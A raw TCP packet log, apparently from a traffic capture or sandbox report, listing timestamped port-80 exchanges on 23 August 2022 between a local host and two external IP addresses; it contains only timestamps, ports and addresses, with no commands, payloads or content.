Aug 23, 2022 03:42:56.367502928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367506981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367516994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367532969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367542028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367551088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367574930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367579937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367590904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367608070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367616892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367635012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367641926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367654085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367676973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367747068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367882967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368037939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368066072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368077993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.368083954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368113041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.368143082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.368582010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368608952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368634939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368654013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.368659973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.368705034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.369097948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.369127035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.369153976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.369169950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.369172096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.369249105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.369263887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.370985031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371011972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371040106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371057034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371068001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371079922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371104956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371117115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371129990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371145010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371146917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371170998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371189117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371195078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371215105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371220112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371236086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371248960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371277094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371285915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371316910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371320963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371364117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371367931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371387005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371406078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371427059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371526003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371551037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371576071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371589899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.371592999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.371628046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.373658895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373688936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373713017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373728991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373739958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.373754025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373779058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373783112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.373805046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373821020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.373826027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.373850107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.373883009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.374725103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374749899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374772072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.374774933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374794006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374818087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374820948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.374842882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374864101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.374867916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374891043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.374901056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.374922037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.374946117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.375264883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375289917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375304937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.375315905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375328064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.375333071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375360012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.375370979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375379086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.375397921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375422001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375435114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.375438929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.375475883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.378356934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378385067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378408909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378432989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378468037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378496885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378499985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378524065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378549099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378576040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378604889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378663063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378689051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378715038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378732920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378743887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378768921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378771067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378794909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378806114 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378819942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378828049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378844976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.378853083 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378874063 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.378896952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379015923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379041910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379065037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379085064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379091024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379118919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379122019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379143953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379153013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379173994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379194021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379196882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379219055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379244089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379295111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379326105 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379365921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379391909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379415989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379415989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379441023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379451036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379482985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379487038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379520893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379527092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379574060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379627943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379653931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379673958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379681110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379704952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379723072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379733086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379765034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379771948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379806042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379820108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379832983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379853964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379875898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379904985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379930019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.379950047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.379987955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.380033016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.380058050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.380083084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.380103111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.380109072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.380136967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.380140066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.380161047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.380176067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.380213022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.393662930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393688917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393712997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393729925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393754959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393780947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393791914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.393807888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393826008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.393830061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.393851042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.393884897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.399441957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.399468899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.399502039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.399530888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.399702072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.399719954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.399755001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.399776936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.399790049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.399816990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.399821997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.399888039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.399980068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.399997950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.400028944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.400057077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400083065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.400124073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400147915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400175095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400229931 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400255919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400296926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400322914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400341034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400374889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400376081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400418997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400459051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400470018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400496960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.400506973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400537968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.400537968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.400563002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400573015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.400588036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400599957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400613070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400659084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400746107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400772095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400813103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400844097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400870085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400907040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400930882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400955915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.400963068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400975943 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.400980949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.400998116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401031971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401055098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401062965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401072025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401098967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401107073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401140928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401144981 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401166916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401192904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401216984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401223898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401242018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401258945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401283979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401289940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401299953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401324987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401336908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401350021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401369095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401388884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401421070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401446104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401463985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401484966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401488066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401514053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401535034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401545048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401567936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401576996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401595116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.401632071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.401688099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401729107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401738882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401771069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401786089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401825905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401834011 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401853085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401876926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401901007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401901960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401928902 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401945114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401957989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.401971102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.401998043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402025938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402040958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402062893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402086973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402112007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402132988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402136087 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402158976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402184010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402201891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402239084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402254105 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402295113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402337074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402353048 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402364016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402390957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402407885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.402412891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402435064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.402446032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.402460098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.402477026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.402482986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.402501106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402503967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.402523994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.402525902 CEST	80	49792	135.181.104.248	192.168.2.4
